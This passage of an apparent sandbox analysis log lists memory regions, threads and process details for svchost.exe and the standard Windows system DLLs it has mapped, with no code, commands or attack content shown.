"{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1496 start_va = 0x2810000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 1497 start_va = 0x2910000 end_va = 0x2d02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002910000" filename = "" Region: id = 1498 start_va = 0x7fefb520000 end_va = 0x7fefb54cfff entry_point = 0x7fefb520000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1499 start_va = 0x7fefbaa0000 end_va = 0x7fefbad4fff entry_point = 0x7fefbaa0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1500 start_va = 0x7fefc350000 end_va = 0x7fefc35bfff entry_point = 0x7fefc350000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 1501 start_va = 0x7fefe1b0000 end_va = 0x7fefe201fff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1502 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1503 start_va = 0x370000 end_va = 0x370fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 1504 start_va = 0x1d60000 end_va = 0x1d7efff entry_point = 0x1d60000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 1505 start_va = 0x2d10000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 1506 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1507 start_va = 0x7fefd900000 end_va = 0x7fefd919fff entry_point = 0x7fefd900000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1508 start_va = 0x7feff0f0000 end_va = 0x7feff2c6fff entry_point = 0x7feff0f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Thread: id = 100 os_tid = 0xf0 Thread: id = 101 os_tid = 0x524 Thread: id = 102 os_tid = 0x644 Thread: id = 103 os_tid = 0x670 Thread: id = 104 os_tid = 0x154 Thread: id = 105 os_tid = 0x640 Thread: id = 106 os_tid = 0x784 Thread: id = 107 os_tid = 0xf0 Thread: id = 108 os_tid = 0x804 Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xc2e5000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x6c0" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b4c6" [0xc000000f], "LOCAL" [0x7] Region: id = 1537 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1538 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1539 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1540 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1541 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1542 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1543 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1544 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1545 start_va = 0x250000 end_va = 0x30ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 1546 start_va = 0x310000 end_va = 0x310fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 1547 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 1548 start_va = 0x330000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1549 start_va = 0x430000 end_va = 0x5b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1550 start_va = 0x5c0000 end_va = 0x5fffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 1551 start_va = 0x600000 end_va = 0x600fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 1552 start_va = 0x610000 end_va = 0x61ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 1553 start_va = 0x620000 end_va = 0x7a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 1554 start_va = 0x7b0000 end_va = 0xba2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 1555 start_va = 0xbb0000 end_va = 0xbcffff entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 1556 start_va = 0xbd0000 end_va = 0xbeffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 1557 start_va = 0xbf0000 end_va = 0xc0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 1558 start_va = 0xc10000 end_va = 0xc10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c10000" filename = "" Region: id = 1559 start_va = 0xc20000 end_va = 0xc20fff entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1560 start_va = 0xc30000 end_va = 0xc30fff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 1561 start_va = 0xc40000 end_va = 0xc40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c40000" filename = "" Region: id = 1562 start_va = 0xc50000 end_va = 0xc51fff entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 1563 start_va = 0xc60000 end_va = 0xc60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c60000" filename = "" Region: id = 1564 start_va = 0xc70000 end_va = 0xceffff entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 1565 start_va = 0xcf0000 end_va = 0xdeffff entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 1566 start_va = 0xdf0000 end_va = 0xdf2fff entry_point = 0xdf0000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 1567 start_va = 0xe00000 end_va = 0xe01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 1568 start_va = 0xe10000 end_va = 0xe10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e10000" filename = "" Region: id = 1569 start_va = 0xe20000 end_va = 0xe9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 1570 start_va = 0xea0000 end_va = 0xea0fff entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 1571 start_va = 0xf30000 end_va = 0x11fefff entry_point = 0xf30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1572 start_va = 0x1260000 end_va = 0x12dffff entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 1573 start_va = 0x1300000 end_va = 0x137ffff entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1574 start_va = 0x13d0000 end_va = 0x13d7fff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 1575 start_va = 0x13e0000 end_va = 0x145ffff entry_point = 0x0 region_type = private name = "private_0x00000000013e0000" filename = "" Region: id = 1576 start_va = 0x1520000 end_va = 0x159ffff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 1577 start_va = 0x1620000 end_va = 0x1681fff entry_point = 0x1620000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 1578 start_va = 0x1690000 end_va = 0x178ffff entry_point = 0x0 region_type = private name = "private_0x0000000001690000" filename = "" Region: id = 1579 start_va = 0x17b0000 end_va = 0x182ffff entry_point = 0x0 region_type = private name = "private_0x00000000017b0000" filename = "" Region: id = 1580 start_va = 0x1830000 end_va = 0x1a2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001830000" filename = "" Region: id = 1581 start_va = 0x1a70000 end_va = 0x1aeffff entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 1582 start_va = 0x1b60000 end_va = 0x1bdffff entry_point = 0x0 region_type = private name = "private_0x0000000001b60000" filename = "" Region: id = 1583 start_va = 0x1c20000 end_va = 0x1c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c20000" filename = "" Region: id = 1584 start_va = 0x1ca0000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ca0000" filename = "" Region: id = 1585 start_va = 0x1d20000 end_va = 0x1d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 1586 start_va = 0x1dc0000 end_va = 0x1e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 1587 start_va = 0x1e80000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 1588 start_va = 0x1f20000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 1589 start_va = 0x1fa0000 end_va = 0x239ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 1590 start_va = 0x23d0000 end_va = 0x244ffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 1591 start_va = 0x24f0000 end_va = 0x256ffff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 1592 start_va = 0x2570000 end_va = 0x25effff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 1593 start_va = 0x2760000 end_va = 0x2b62fff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 1594 start_va = 0x2b70000 end_va = 0x336ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b70000" filename = "" Region: id = 1595 start_va = 0x3510000 end_va = 0x360ffff entry_point = 0x0 region_type = private name = "private_0x0000000003510000" filename = "" Region: id = 1596 start_va = 0x3640000 end_va = 0x36bffff entry_point = 0x0 region_type = private name = "private_0x0000000003640000" filename = "" Region: id = 1597 start_va = 0x36c0000 end_va = 0x373ffff entry_point = 0x0 region_type = private name = "private_0x00000000036c0000" filename = "" Region: id = 1598 start_va = 0x73e30000 end_va = 0x73e32fff entry_point = 0x73e30000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 1599 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1600 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1601 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1602 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1603 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1604 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1605 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1606 start_va = 0xff260000 end_va = 0xff2b2fff entry_point = 0xff260000 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 1607 start_va = 0xff8e0000 end_va = 0xff941fff entry_point = 0xff8e0000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 1608 start_va = 0x7fef5c10000 end_va = 0x7fef5d34fff entry_point = 0x7fef5c10000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 1609 start_va = 0x7fef6890000 end_va = 0x7fef693dfff entry_point = 0x7fef6890000 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 1610 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1611 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1612 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1613 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1614 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1615 start_va = 0x7fef7ff0000 end_va = 0x7fef803efff entry_point = 0x7fef7ff0000 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 1616 start_va = 0x7fef8f20000 end_va = 0x7fef8f3afff entry_point = 0x7fef8f20000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1617 start_va = 0x7fef9050000 end_va = 0x7fef906bfff entry_point = 0x7fef9050000 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 1618 start_va = 0x7fefada0000 end_va = 0x7fefadb7fff entry_point = 0x7fefada0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1619 start_va = 0x7fefadc0000 end_va = 0x7fefadd0fff entry_point = 0x7fefadc0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1620 start_va = 0x7fefae90000 end_va = 0x7fefaecafff entry_point = 0x7fefae90000 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 1621 start_va = 0x7fefaed0000 end_va = 0x7fefaf20fff entry_point = 0x7fefaed0000 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 1622 start_va = 0x7fefaf40000 end_va = 0x7fefaf47fff entry_point = 0x7fefaf40000 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 1623 start_va = 0x7fefaf50000 end_va = 0x7fefaf5afff entry_point = 0x7fefaf50000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1624 start_va = 0x7fefaf60000 end_va = 0x7fefaf86fff entry_point = 0x7fefaf60000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1625 start_va = 0x7fefaf90000 end_va = 0x7fefaf99fff entry_point = 0x7fefaf90000 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 1626 start_va = 0x7fefb430000 end_va = 0x7fefb438fff entry_point = 0x7fefb430000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1627 start_va = 0x7fefb440000 end_va = 0x7fefb46bfff entry_point = 0x7fefb440000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1628 start_va = 0x7fefb470000 end_va = 0x7fefb51bfff entry_point = 0x7fefb470000 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 1629 start_va = 0x7fefb520000 end_va = 0x7fefb54cfff entry_point = 0x7fefb520000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1630 start_va = 0x7fefb7e0000 end_va = 0x7fefb7f4fff entry_point = 0x7fefb7e0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1631 start_va = 0x7fefb800000 end_va = 0x7fefb80bfff entry_point = 0x7fefb800000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1632 start_va = 0x7fefbb00000 end_va = 0x7fefbb4afff entry_point = 0x7fefbb00000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 1633 start_va = 0x7fefbf70000 end_va = 0x7fefc09bfff entry_point = 0x7fefbf70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1634 start_va = 0x7fefc5e0000 end_va = 0x7fefc775fff entry_point = 0x7fefc5e0000 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 1635 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1636 start_va = 0x7fefc790000 end_va = 0x7fefc84afff entry_point = 0x7fefc790000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1637 start_va = 0x7fefc850000 end_va = 0x7fefc856fff entry_point = 0x7fefc850000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1638 start_va = 0x7fefc940000 end_va = 0x7fefc95afff entry_point = 0x7fefc940000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1639 start_va = 0x7fefc960000 end_va = 0x7fefc97dfff entry_point = 0x7fefc960000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1640 start_va = 0x7fefcab0000 end_va = 0x7fefcab9fff entry_point = 0x7fefcab0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1641 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1642 start_va = 0x7fefccd0000 end_va = 0x7fefcd2afff entry_point = 0x7fefccd0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1643 start_va = 0x7fefce40000 end_va = 0x7fefce46fff entry_point = 0x7fefce40000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1644 start_va = 0x7fefce50000 end_va = 0x7fefcea4fff entry_point = 0x7fefce50000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1645 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1646 start_va = 0x7fefd0e0000 end_va = 0x7fefd14cfff entry_point = 0x7fefd0e0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1647 start_va = 0x7fefd450000 end_va = 0x7fefd45afff entry_point = 0x7fefd450000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1648 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1649 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1650 start_va = 0x7fefd560000 end_va = 0x7fefd59cfff entry_point = 0x7fefd560000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1651 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1652 start_va = 0x7fefd5c0000 end_va = 0x7fefd5cefff entry_point = 0x7fefd5c0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1653 start_va = 0x7fefd660000 end_va = 0x7fefd66efff entry_point = 0x7fefd660000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1654 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1655 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1656 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f9fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1657 start_va = 0x7fefd900000 end_va = 0x7fefd919fff entry_point = 0x7fefd900000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1658 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1659 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1660 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1661 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1662 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1663 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1664 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: 